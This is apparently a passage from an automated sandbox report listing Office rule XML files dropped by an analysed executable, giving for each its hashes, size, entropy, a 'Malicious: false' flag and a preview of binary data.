SHA-512:	2075D5938874469F3803418DADB5E035BB6C556ED1329AA3EDE467C3465014A21A040C1E8A6BA85B07B6DC46A36DEFA771299C4146572AD1C5F55F4FEEA0D3B4
Malicious:	false
Preview:	<?xmlp.....P.F.....l.=A.D..i.. t.VO....EF.q>I."....zv.E......".a.....i..B+\|5k..Qh.8..w8... [W.O.Q.4..1.h.........u.Z..:...........U..B..,...L.#kX~.]v\|.&.Q}.M.^....-.%......p..?C8....{..]....M.9...B\~.{....u.S..n@.;zD...W4nj...8.w}.}=.y7...=..C20Y...Qr.I..H_..T.N...\|.......(.3...$.WL[..5s..{.4.Q.1.H.......?C\...O...@v..7.?..o6.....4.9.....1>u9Ci....R...O.....d...+.,.=.8.....Nc..#....W...U..Y..S...-a.z.4.u0.\.\|.F..m:Z^..eZ..,......... .i.Y].w/^....@v...:a.......F/.]r.@.D.`.....C.0....P;. D..b.l...%........:......2....o.&..W....'8..Hc...P..M...V..+._.c....9.\.#.j.[r..X.lv..hu.ki...CkL.....:.4Tv....u....oJ.ZSf.a..u@.k.......h........V.-...F(.;_..<.Te...;.Z...\|..'..n2.#...>.S>.81.$V....x...ml]..h....],?+...j(,..Y.O.{.^_>...$H.(i....D=y...5p....LA.+?c:..C'.MEq._.........n..L!s...t6H-.m........bi#...O..................-n.l...o..!Q..;.V...A.._i.....E3...\..'....0..g........ES.})....j\|F.*>.Tw....4....d.d......? ..............

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490010v7.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1388
Entropy (8bit):	7.857579440071655
Encrypted:	false
SSDEEP:	24:bk97bXoGsFXz/nxmOtrbJWHCTq+3ggrgxD4X9eFLp4tcQM+kqgIBZkj9VbD:bk97boGkXTEeKCTqJgExDa9qLp5ABajT
MD5:	5F389FCC92C7C72E713B571BB5C318F4
SHA1:	32A62C0103544917B0CE5985BF4364534BA72015
SHA-256:	E1EFF19543AA4D3AB14599720CA72BF8F90593310E8B6D1D00A4A386E1DF0CBD
SHA-512:	696A32963D202A3B1E853208BF8D3B1D9A4C3DC4E3A6393552290554AB048589D496462A0EDB2D881B8C91964BFD9C0A72D50F297DF234772635CBAC1CB16569
Malicious:	false
Preview:	<?xml .v.D......1=dj..EL.1."aQ80mzr..WUW..&.8.Y.J....!>..2`....(V.Q...@...Sr...}&<.Gn.C.p...~..2..T.1.....iK..[%pG...../.;}.2X.y..4.\NB2t...4k.-.px..p....q. )N..k..w....Lw....{.4.{0..wT.....+..a.4.G.gX..'kr......RD.kF.r.[.=Ci.W.uX.y.7.. ..:.;...>..`.y.%.....9<..J.O.Z....Y/b}j.1N.H..3.f.{B_..&....W..a....u...-s}...Q...`....F.....>'.a....>...g^....C...iE.:_.....).......>.\|7Y^.)...Q.1.......XA%......OU.]%.E.J......iO....\.O......^. h.....o.....pTFn[..v3..f..........,.......`..t.6....f..=..d.;D......_..B#l.....p....Q..d..^...J).2.=^i'2.?oB..93Q}.8$..yg`.....L..(................V.._.o..u.$..rUEX'..P.S.I.....V.k.t...P...2\|..P......n.?$&S"#='..j...%..=.w.......9.... G..0..H..L..e.Cz....(6..............i.E.j..x~..W..*v.W.O.$.f=.~&r.\..Q....u0..wF.KU...N.3.....~......&A....."P(.M..P..e.l...2O..UP..s...?v.!q....g@..X..c...Y._D.p.j..QcW$.BY.W;..c...%.Y.........=.l.....]..... kby!>..on.V3..\|#o..........[....^.#.YGQ..i..........'_-.).L.}+......6&._.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490011v4.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	856
Entropy (8bit):	7.7511552052782715
Encrypted:	false
SSDEEP:	24:8sG9eO3hF010A0hDTyZ5L7mLzQU0w+K938l5NVbD:yt3o10A0hCHL7mwUz+agbFD
MD5:	3BE838968AD856365C65B6CAFD03F55D
SHA1:	9007789380901602BBC6D0FF8B9A462C2A8AFD53
SHA-256:	7DCFFDAE287C74A3D71122D6081EBEFEB236AC973AE0F836C153BEA7E41451EF
SHA-512:	54CBDA4955FC4C81BBED1CD45CE19C5AAFF7C32F2086819F8CB3C901CBD780F05F72F2858983195C5BF6ACD93544249D8AE7D0A08B8C4F0965802CBFB356CF19
Malicious:	false
Preview:	<?xmlb.>.=.q!.!#\|\.d.[.sp_EH...x.Pz.t:.....W.....b,Z.WKY.Lz..,=t..,.:D.#.!!?I.P.@L\2...x7I...C}.)..#.GjB..}.Rn:..3........4..\M.c..7.J.....q..&L..V`?....7NT....&.gp....(.,r...a..5<S.u......../.....cZ...?.....J4..P.m..h......h...7.Y..B..D9.0....4...... .%tX..Sq......1..k.J...S..&..&E....p..Mh...=6\|.i..W.s..(.$.\|..kd..}.)..0Y.\|..l.-...%..wK,.......}:7.w............&.?.MT....<9.!\|c.y.O...)..........6;Z.CNDj.....5...u...!.. .t.q..~...6O..4.5Hd..[O......=1'X..#.........QD7...S.b\`.m_...Io...+.7...$R.9zG.U...?....p../$..,......%C.C...ZH.g...F."\|>:..c....&.}.OB4..a.....0B...9y.o.!.M.CV..........XNz..0..+#..u..z.Q.!....+@.#.1...:...5..C.[...I.w..5K.U^.7.....s.W..)H.SG.....B..P...\|..K.3$c0s...E......F......\.::.*$h..g...Vw.....Y/....!7?.1z.&itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490014v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1084
Entropy (8bit):	7.756788190327133
Encrypted:	false
SSDEEP:	24:Wc6Z1nffc/Qq6sMgQUbSx2k/CTkCFJITMW4h0NVPx/W6wEf7eMbYKBCVOjVbD:W9vEm9tx2k/CTnJUD4cVPNBRTeoDBIOZ
MD5:	443821F5F7E7485BAD80555E8292ABFD
SHA1:	1B77678938D63727207F5EBE99C3BA4D34237D16
SHA-256:	7BF2C0CF34BB7F8AA742BB460F641613F52286C2558EB3681D2CBEAD3E594358
SHA-512:	4C2B1F7ADBCF942FC05CBC732A88DF8F361AF1C3614557972D9EE5B6A72832EF0F2F983BA818AF45127531242B1473F968C19663337064517BAA1F0EAFCB07E1
Malicious:	false
Preview:	<?xml.\.).E.'.7p....7.oL....U...........M.....:.!..B.......Umj.nv............s.C.....-.rID..1S.m'_..=.....qB..#.H...6........dz.s.w..Yp.^..6.e...N.4.\|.....%.s...T7I....AJ?5.?.iF......b1...5.......G..f...R=8r.e;.>n.l..O.R...n..TaY......q6./...Q............J,.1i[0O.Zw.....?..M......{{...B]S.....0N.]..G.7cR.w./......w8.....U..i....A...ij...z..m.O.l.....V...F-.`/>T..W(...yw.....KN..]..hc...O6....`o..c.q.v.o./.d. ..../C.h..{...( j0`R^.t..?}........~....)0..(7....O.4.\|......}....f=Q..F1 .e.9.1 ......%j..R1..QP.$4...f..i ./.^n2..=....p..^.`<.s.....<.Y...6..>.....`i...._,.hhhX......^qI..&.....)..../8.....6..ND2....H...1y.q..LR...._.2.@.9.U...n..p..-5...^...E...&.....np..B<...#..,.$..93t@.. ..B0....A._01...I..jA.......)....fb.h.Lm~nY{.`.7f/.z=....X..(.oB........{PF...;..2.Gx....AA...Y..2,.BT.].2...q.XF....]i.e{..d.7.k.c..7D.P.hedR.[..{..<..U......:...%.[.D....PU..]t..yE..d.....&.Vc..#]B.vZ......$e.h..<......_v..'.7T......z+.Z.....3.[ye..W..w%..'.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	924
Entropy (8bit):	7.746220338337106
Encrypted:	false
SSDEEP:	12:jfXbBXY5W3fnEB5wiWAa+CaA5dERTIO7qnZbYw1Qbl6IU7boLG9nLTRasdoMKQGZ:jfrx0A4WAoITvqFYNUIU359XRaOiVVbD
MD5:	078DE8C90E2B55F1884DE67FF142B5A8
SHA1:	8AFB18EC29CE845C8CF61A88B3181095A0B15482
SHA-256:	425AA611198E0BB9D9CFE50274E281108DEB6A7E4A76A96F016B4AEFEEEB4449
SHA-512:	7FF7893CE866D25AB5B42BF21EAC3E12B9C7ABD9F78FAB8A8840C0723292170E2D1EF43C157B8B9EDD79072C801BE26F5D6A5AB7F3A6C5D481305DCD86EC964E
Malicious:	false
Preview:	<?xmlf,:!...'...s..........2._...U.a:.!O.T......./........z.0,W.&...,c.v..@QUwx.T~.....A..wj...1.SC...4 .....B8.l..qe..W"3...%...C......d...A..l....qN%...k....q".5.........j.[..k...N.X.e..........sZS=...6f....,.V......zP.R...9m..M4...p....#V.....j.=~.?.U..9.. .c..X....Y..3(.....w.N\|,I.O...\|B./f...P.hZ...'@..'.k..@............S...i...4=z.%..e...;".1....4g.....LK.]A..."q@.j\.CC.A..#%..a..-..H..\U....}...&+..~....M...n......3q..WYG...6.@.2.f$...(d=..C.......#.'7....uf...d..g.O.%.........V.Ser....0.L.\|...kC._.~3/.......kP.Z.gd.]...uX.D.U......kT............\|.......l8Z!F:...K..x`.e..3.7)ek<.BY..v.yF.F...Z..._...a......ASQ].."7E}&..v...8!.L.]WG...e...:=\...eBQ..l.....L.NL.o5.......1L)...,...J@.6.YQ.......}u?s.[..\|..t..s..:4.[.(O..J.g.8Y.l(9.m.W........X....QY^.......a.L......z......k..*.....b.z..l.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.833805969201341
Encrypted:	false
SSDEEP:	24:+41XIgstyM2Bu8QtewEcBGAt/Lkd/Q2SUz1AlivDDBI9kH/MVbD:+iXcAJsFgwMAt/4dY2zz1A6DDBIKH/M9
MD5:	3229C780C5A6916706885E8AA1AD8F96
SHA1:	FE58B51FF7C6FE1D6BEC6528A8E5EAF347862FC7
SHA-256:	77AC9F3F153DE10DDC9F7E999C9DDC2C1ECDE6B4FE34115B75BCDF6CDB68C5B6
SHA-512:	532CCC37C76E5F39069F679E27F0B8715EF5D2B7A80EFE015E9D6806333AF801762B317D2C1406D69875757687B1956104B131CB717B610949BF357CBE635704
Malicious:	false
Preview:	<?xmlQz]...[q.r.............@..7..X`^...R-.!V..[.x.)y.%.l!H.V.....k....:lGY;......:Qup.Y;E'-X.qj.....0x%{(...n...j..>s.....l..+.'}..C.6... 3....k..".Q.&...T..o.d=..~f..W.......3pg......... .......%AG.i..}.,......F...N.0.x.]..1.$.).........F.N...y.;...nTl.w0.n/.8.^..a.w.JM.3.......5..'1.CXkN.........X%.H...79.D#.H..>.#w..E.2....^&........>P...W.B.....&........".#.EM.Q.;....08.B...N..L.oiI..;.sc..Q..g~ >........`H.kk....t...k..(..(.N.f.TR.....n)2..<Q....._^E....^+....`E..!=.).Mi.^y.xW././.V...w.(.....y...N.YJ.,......r..za.X../.........U.7Y..Z....t.0.f.y..ve.+P.o...}$..].dQ...../e!..V.QF....mBf.N.H.>...Z.v.....?O.......e.E...W.L.?=..)....#`.}...h_S)m..R....I.d.^...H...C.<..a..phOE.'.,..j.wvn/.[.Bd..o..,{}......h...Y..So..j....O"9s.._....m.\"..../.D..4..../... .......#R....O%....W.T...r.s-qL..J?.....=5.....F)`e}...f.......r....H..]..D...p..".....=.S&..>!..V.A...aN_..2.H.1.fj5..0.y....u..!H..J.R.g...e.....M(&.lf. o..s.3..\|........!.Q....a!.Z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v4.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.790374832503644
Encrypted:	false
SSDEEP:	24:cBTkv57tS7853brclrHoBlzogDOTHdV9NgkojZOS1oRU6lrof70cVbD:2wvS853cxBxJGkWItZU70cFD
MD5:	952B444DA8A80D71A7A9D0F778865E36
SHA1:	020B8A2C39A474D02792AC114D37FFEA8F763FF8
SHA-256:	6302AFC10D82899B1CECB5F88F23D87655D29F3F0E0C5D1B78F12AF221FA9DAA
SHA-512:	38F7976F7E867CDA42CEBE0A0C7852553F32EAE61E97A2817BDBE81329784EAE8D431D663473D11E238DAF784FC67E9616A8AB854A33E920E66DC47D9EC791C5
Malicious:	false
Preview:	<?xml;..If$.R....V'./.<.XROq..aa..z........X.x..zqL.......c..Uui...m..Y=.p.v~.ay.f.$g...!'Q....k0....wz.&.}.K,...l....l.\|.f..l.uf.W..$.q)..eR..Qx....B..../0......+...!..Q...&...M..t..5`..X..l.Jn.!...!Am..Hf.R...5...}\|:_.B\0.....d....&.+)...,......i.-.b.3....W.l....0b.)...q..6"e....tdq......M..?(.h-.8..5..........[....@;...N`..........!H..m.q.w&w.<.EaMK.u....{..%....pJX........&87..w.F...S"....E..Q.D.(..V...6.b.)..........9:..[.:.'f......z.=.P...0KH.....z4"...f.OP...!q.?.o'..A..)........<7..g5.Y`S9.^....!.?7.J.S.7.Q.7g.K..#q.....t...`...o/I.f.#.L.FB6s........y.f.0$y.D.....$H..i0.....)kS\|M;.....+f.&;...C[X..$....7,.L.A../..a.!4;_...'T..M.`%3_.\+...vW....])4.J...S.R.9M..U.9?.Q/...{<.......:......s..z. .)....-3y...Hw.... ...@6..].s..+1..Hl....'......#.\|sOrH....3..i...)q...8.k...Y.f...1..-.p.....@...X'!2.4J.......4..`.s..}.\..J.(.U..W...*.............c....t...})..5...p.....(..Z..C.=.N...P..3.y.8E.<n....$.'..C.y5.\.....&....o...x..w.3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v5.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1108
Entropy (8bit):	7.824065254196758
Encrypted:	false
SSDEEP:	24:sX73nWeeOXSUFoaE6ASvgO6IlH89SuM9nONx3xfeGl6S9Y4SHiVbD:273vqzvS4O6MruMVOT3xfv6S9Y5iFD
MD5:	7DA985610AD5669A3AA0C493C56E38EA
SHA1:	AAED170847E132AB28662EE095F6D4FDA0DC8B1D
SHA-256:	F0D991F61E2929418A9C554F452AC00AFB09BF7D4D763E1DE35DF02BC1076191
SHA-512:	A3001A8D93B138B3362BA9E90144AEE03B51D0DF861C6418B5D18DC64E771CE0B4D80214BDE2D77DC3C1053B4787CF3B646B62631E84EA38C1CEB32F0733394E
Malicious:	false
Preview:	<?xml6..(.2......9U..@.\|........{.$(Fn.......Qg.Rfdz0Q._.....d...;..f.u.{t.}V.......2....$.@k.!.=..6S.....F.TU?.W.y.+S..O...K....#S.'.NEN...B]e..aL..v...\h.4#7.@...f.~..._..u_....v..Pz=}g.....".m.M0.....l.J.l.Z......k...B.i.8...2..o.s!.:Dj...{S9P.lp..PS...(.C..-`(...v.....}R.Y..FK..}..A...z.U....9...-..?U...p.....E.[.QA........#..y.'%T..E..Dn.G?2..#~.^x.....l.ackB.....I~;...d....v.O........5w...4.B....>....Z..Z.....x..8.,;.)f-.Bg..^..9..TD....<..SU....n.=..R....;...#p..-t.H..+x.....F\\.....m._2.M..Z&....q.._...).....p.:+..0.L..ny.K...9=.F.....j...r&\>.48..X..z....+.V...z.y...V.C`...'"E.......d~..3..Z..r....(........q.w..G.O....\...w).K.....a.M.........K.p.....z..pr.iT..b......C-...'.........N..u+*.2.t....Z.-..X...h+v.8..TTp...........o&x..K.1.y...l%.e..um...X..2,G...s4..@}\QK@-...."a;e..=.:.y.B$3BZ.T..4...L.#\|..+.5c..H.....X.A..7..R4......`..A........7(S....A.ir.d.PpE.oA....+<.+...n....R..{B{.)....%a...F.l&...A<...d..QI`.>.^V..C...#.Ue

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490018v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.780408377275993
Encrypted:	false
SSDEEP:	24:7NiHY7xLHZ7692Nmraagh7Civ1eQGlHJGVbD:U47xbZ7w2or3ghOKSHJGFD
MD5:	9AA896872370620A5219F7A4CA1CF0FB
SHA1:	E833B92D89C509883D1EEBC20A66317EA5404BF8
SHA-256:	0A7F3A8AE288846D81D94C1007C6C6319B13DF9F2894238F910A20C016E36CF8
SHA-512:	CB90AB470098384061227831B8ED5DCB58D3094A9CE5CDD6A195485B3A56DC93505C1DDFEA9F2E0B52197F57460D31070D38EAEB855CC47500F9D6CA9D91833C
Malicious:	false
Preview:	<?xml..co...J..'#r.J...i0\...d]bHG....x..$Q...P....L...k40....vP...:.e..w+...\...$&.Q.. .....?....."5..5.S..b.)...S..\.i....V.#1.Yd......G&...hY...:<C... 63R+\|.....K..J;.#..,.p"......_...D'..j5.....r.j"....~j".#..o V..S....,..zO.L.u.....?.M.5.2N...'~..upo...b...2.hO!...qf.+..xCj....q!8L.4.IF<G.~..Li.^. 3.o.. \|r.c .^5(b.c..'F.K..3e.E4.Ww......[$S.<4F.L..h.....N..H.?.BN.N.k].....[.../.<....9^.........j(.,......!..p...+u.0.S...oJY...%&.~"U.....k#. .63.z...]$.e.9W.8..X..`...n.....k[.t.J....Q F._y..-tY....`.CN....o......O..t}.F....5..zJyw=..#..6!/H......5...G@.`f.G..&f\|...w..Pz..Z..$.....bc} WW\|>.fP=.....lJ\|..]4....e(2..G..Z..J....h.wg....7M..;..+.....NB.....".....+..F[....-4..V.J...4..i..@..0:...y..1...P..Su.i.hw...IF..d;... v..a......W.X... .f.....P.&.s..U">F..A.+..cM.....`..yA..1}b1...3w..."..e..+.b.../B.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490020v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	7.817881923379381
Encrypted:	false
SSDEEP:	24:2yplyS1wuESYB/w/IrbiEe2Y+tmRGZM+leXASI+jceqtKi5jWFUGoQhrVbD:2yplyhjB/w/wGEtmRXw7yAoi5jWiGrhR
MD5:	ADB07AAAD77FB6BA20615D92400F0028
SHA1:	DDBD5474250F11265632538341583FE17A44097F
SHA-256:	39C2F3F585769D8DBB3784D0FCBEDCF88D584C85EE8C469C7ADFCD46858F843A
SHA-512:	74C23725B05424803488F8C0CB429A587BCBF5ED718ABDAC8EA5B21A19DB70FE608A6B357DAAAF8A138281826D8E0E30D880D3F3FC275AF05D27A9DD300864BC
Malicious:	false
Preview:	<?xmlN0..}0.....%.BR..Y.b~..<wcW....\....,. ].D.O.....<yI.b.&...\.8._..RH.R...s,...>..\|..0..D..M.3.<..=&Z....CE.3..x..C.k}...1.g.......$. zd.JR-........t..3.#. ..a..q..Yq..9[B....e.&L>y..&6.#{..K...G.NU.......A..8&..+.......H.U..>..J...........\{M.QCJ....F....b.1.......g..+...3.!.FT*+...d.-...$^'.a_..Sk .....L...D\|...({.6.................A.....o../;Ue]...U.W...$....S..$M.Yx..T.;....k'.@..C._..<".x...[...{sJ...Ym.t1..s..6(..6.pg..^.:4..R/X7./..$g...S....7[.}.n.]Wxc...$mCf2:.D24...a5..._\..q..n.a.k..l......^...k...5..2...[.y{...O..:...&,....~jV..H...Go..~n..X].K^..T/'.}W...._...,.>.Y..o........p.......6M.. ....6]......Z....k..s.S...=XxZt..?.S.H[f.'-T.G.S......+..^.)...,...jrn.$...?{w.`.._...=..#r..../....'a.a-...{..=.4>a+}.$yf.y...9..........."8y9=? .a....fEYXr..B.q.M3T.....P.....+....B..)U::z=&.z.f......v.w..?%.Yf..x....-.f..h/..h.-.\|,.....wp.N=...kE`.7..,.4@...Y....\..a......._.U.9.=.:..d....J......=.....51...a.(....j...y...".z...q.8....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490023v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	7.817006823639656
Encrypted:	false
SSDEEP:	24:0ltjZ1WYVVCCBNifDSVcTIW3Zrnp8JDuIzW2DR0K4m6OrPRzTQckMi+XrsfXBBVX:073VHN8ecx1np8JDuz290K4m6GJzTBZA
MD5:	9C96A582FA8B0A3EC07F636C9AEA7C72
SHA1:	3A8A2FEE18F215A4205C4A54BA9F583EB02D1161
SHA-256:	37333C2B36B47FC96DAE90629E6CD97F57CB805FB7E9DDDE32F8E9612E2E54FC
SHA-512:	45760BC6386642F85AC0999611BFBCDF4699E1DCAA4837269E284A9709EFD84E687C94FA9A7E850DDD7A1FBC53FCB29AF7EB843D90AA72B579534C36F4BE7C68
Malicious:	false
Preview:	<?xml.l..6k....._.Az.../..=~}./.w...l...N).U{k....UH[...M0....).U9["ZM.`.u....<...."...#G..y...u/.H.....,..}.......d..]...".p.r.h'....V.oG.P.}"........E.L12...\.Y.\.6..?2L.w....v.7.!../w.......49...~.3yi....=I6W..9..}w4?a.$I>...../.2.).'<..X_.{...4,.7@....#.vN...,....m..S.:w7.Q...=..lc....o..BvX....kg.....Y...V....hqEs.. $...H....Q..:.LS..O.v..{....X...d4.c.......5....K.7&sX<....N.Q.?..&D..1.65...4'.?.... 9o$GR.=X~.x T..N....z..8..x.w..._P.F...w..c..C...t..,x..Q.0......d.-....E"Z..d.:G.Jh./1%\....... .z-A...6.cM....."f:J=..2yP{v....bOn8.....1.ge.....G_samgi.Y..o,i....z?.I......A.K.........f\.JC_...,.k..`.B..\......].5.K3..5=.....?..y.(Z6.@....M.....i.v.A...oB.i.>.8d&.x...w.aeF.kH..=..{>.I.-\...@E..W0Ka.......&.jL-.n.....k.......;.L+...Z.....*.W.A.5.\...4..{>A.`Wv....3...<..#.d.P.[Pw.dMs.^A. .>....c_R.}.&..7.r.J.\|3a-..n<..B[r.F.k<..b.......,.N.. .^...c......,......i-;.....H....J.HY..K...#......56...QJV....D..+nsCG.2..%b.N/.<s^."Y....!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490024v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	871
Entropy (8bit):	7.747829343652637
Encrypted:	false
SSDEEP:	24:ezvEf/9kyvlITnFQH8Cb32BuJ4PQTgnv58KeVbD:fiaon1PkUnvReFD
MD5:	97C0832042ED8B843E85D120CA6D6048
SHA1:	F5A2FAE580292A1080588C71FB2DCAD5BD7C7BB1
SHA-256:	0AFC99A43F154C9C9F776E3DFED9D26D9432A8DB2866033F43A50B48A4B637DF
SHA-512:	3E7CA75303BEC0D189D8411AB73E4628E6C1127D38A0DFDB75047C2EEF81EF7FE1255FAADD89711AF1A859B63C3884286B57A5C2479C716DABF04BF170D0440D
Malicious:	false
Preview:	<?xml....afp\|G.....kj$....&(4......)~J.!3:..p.)/o....!....T.....xg.... .0.t...R..7....n..5ug...w....F........P.F.b....89..@"k.J3....=..pOt-.qj.}..li...p...{.5.v..R\|.[.&..K^?41....D..g...`.3....O.....0..J..[._.ei...d%O..(....W+.....X.A..}.....k..=...7....@.tn..>d?..'m>..>i.8...y.d...>....gy...,.^.z.P{]. .a..\.....b1P.........a...%....R.sRJ.}2..:G..&.T!...s....?...2.9....D?.n).b...(y.....:!..c.[...8k...{.pE'...ia..8.8[.u..2..."1...oL@+A\|..'...&.(.T."x.G.E.Dcf..V.(.p....8sNKF...E..;H.}..7x..r.J..I.&.,(>..z.....H...K..T..e..:ot!bTi.....t...Ss.Zu. "Wx.....}...Cq.H...OsN.].+...nP.........j ...0\.2g.K..z.....d.3..G../.,..8%.......^!..o........q..1......Y...PG.`.N...,.%..\F#.....@.....MP.:..Up!.:...,h_..nO2...1..G.h..R.k.~..4.;.$..}hCF:...>...imn.Mi.,itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490025v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	866
Entropy (8bit):	7.742624256182296
Encrypted:	false
SSDEEP:	12:fLRGtrWsO7NiVZaqCphXq/vMIWPXcOHgXB5ETzqzTvbRqLHnMk+BqKiiRx6jsUj9:f9GWNYcq/vMB1xqzDb+3+Bq8ss+VbD
MD5:	00D0C7EDD694817208D7C2307334D7A9
SHA1:	AE238AB64F0889854D4963FF7D9988AEC55E50FD
SHA-256:	4B4BA1A184B6D794BF29746FD94B6B570C2B416784E14DFE9F2071F26144ABBD
SHA-512:	2FD96169A04403C701E1DF7E65111ED3F12486DA6D373C15CADF4204BD8A672C20FBAEA74689F184737601432ABA19B948440FA75C9921E4BC9856A733EB4F9E
Malicious:	false
Preview:	<?xml.f.%.......qz./.?.........)..m....@.$bJ..:...%....v...AX..C.#..N1..I'.cp..3..{,1.]H...s........7..~.w=.m\..# ..I.....r..7.........XA.i.j\|N....Z.<../..7...........qy..E.....\|..C..B.~i.G.I.H..#y.k;..\d..C.Fmj.o.!k..E./g...jx....j)RfD...q.]...e....U}..3....u...f6sk.i....o.I2t....iM...f9Z1z......b....l.B.....#o..F...4..._..{?JOd ..m#..7R5I...:.jo.\|Z.K..}..D..-p(.)..8.2..}.NZ.o<>...y......a....9&....II.....I..a...y......T\|vmg...nG\<WQ;..Z..)..uF..B.....@P....Z...SL....CwM....6..._.2..[.<..~y.F...=....4.m....x.{.....U....d..-.Fk...h.......VUu..:.V}k...:.Qh.....V,.Z1._Kl.4.*nX$V..}.C...Q.bT].'.B..x......!....8.oq......V..+B.^..xv......E....7...?I9..F......6......,..R..}3@h.%.tL...3....B.@..X.G.~P..PuH~.\.B..`X..U..dS3..Dhz..~#.....D..r.n..Ditkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490027v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.746366109385441
Encrypted:	false
SSDEEP:	12:Zqc085I7tZDejCaVvvPOSCxnW0sIMPkS97bVFvAdg4AiG7PxISu+UAQa1h4yC45Z:wFicdeLYznTM997r4drATySdUs4oBVbD
MD5:	2E512BDB9BE46BCD51988645F047AC88
SHA1:	29214A00FEF444A3DBA71290B9AA60696231405B
SHA-256:	027614C309898F0771EB5B3E79DCA0DEA4C7904BBE80AF26A119712400759767
SHA-512:	E79FC6D6FEC9102EA35CC2045A7F52F57BD4520D4BA3E3C3411FEDA34F2C52E0D28C579FE91C0EE076183EB8E68C1F7F8450D19EE4321E5CB8AD3CDBAE0620B5
Malicious:	false
Preview:	<?xml.n...g....z^...c!......B.-...<l.S...{.&c...........I..y.'.......DX.".@....}.......U"......q#......>.........[..%k..D......VD..a....p.F..1..YP..{f...r.I..rq..Pp(.U.@..T./......d'.$.?RM5cuv...K[..%.d..e...!.0...h.P........(\|c..o..Q.A+.EE..w.sK...}..<.C..V..dg..dd.<..p. .I..).P?.....mG.o0@Z.&..}.M~..KW....8..;N..:.;.J......h...cZ...T...I.,^.....GYu..)z...b.\|.\.O.......0..c.D.C....;...x\|....^.D.G.7..]Cc....(....,..g............G..W..b.......)\|....a.f....z..'...+w..D. ....$m..`\..Y.n....t....C...b........v"..".....XE..../E..<.n.....-,..'...Y.S8..}...B`'.Z{o.Db..C.'..c..Y]........~-....[.g.JP+o..9.?.E..../...R.I.....*3,...h..vY.."......d{...S....C...vQ....w.4.$.....=....... a.$....m....:>f.?5..[..W...Yf...m.....@.N..DV..7..r..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490028v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1057
Entropy (8bit):	7.806885846039995
Encrypted:	false
SSDEEP:	24:CNWPud0VxEbYviL/g2NooRZip2pA6uPb+x3VbD:VPbxJq/oII2MPb+VFD
MD5:	B93C9E13094E069147C7E5AEBBC63C57
SHA1:	1771A5D4B8E07E6AA9BDCFC2D46C91D6F574B546
SHA-256:	45AD2A92A9E66DC74C2728E2DAF01255A9961757952FB7ACB56C89BBF0EA72EF
SHA-512:	F228F524E88EC262347E3CA7D8CF23D5CEBE6E5795E60F50F0F3B376FF47848B04841AC9BB84D475D99ED2A38A771FB567DE47B5D2DDB1C22BE71243E990F09C
Malicious:	false
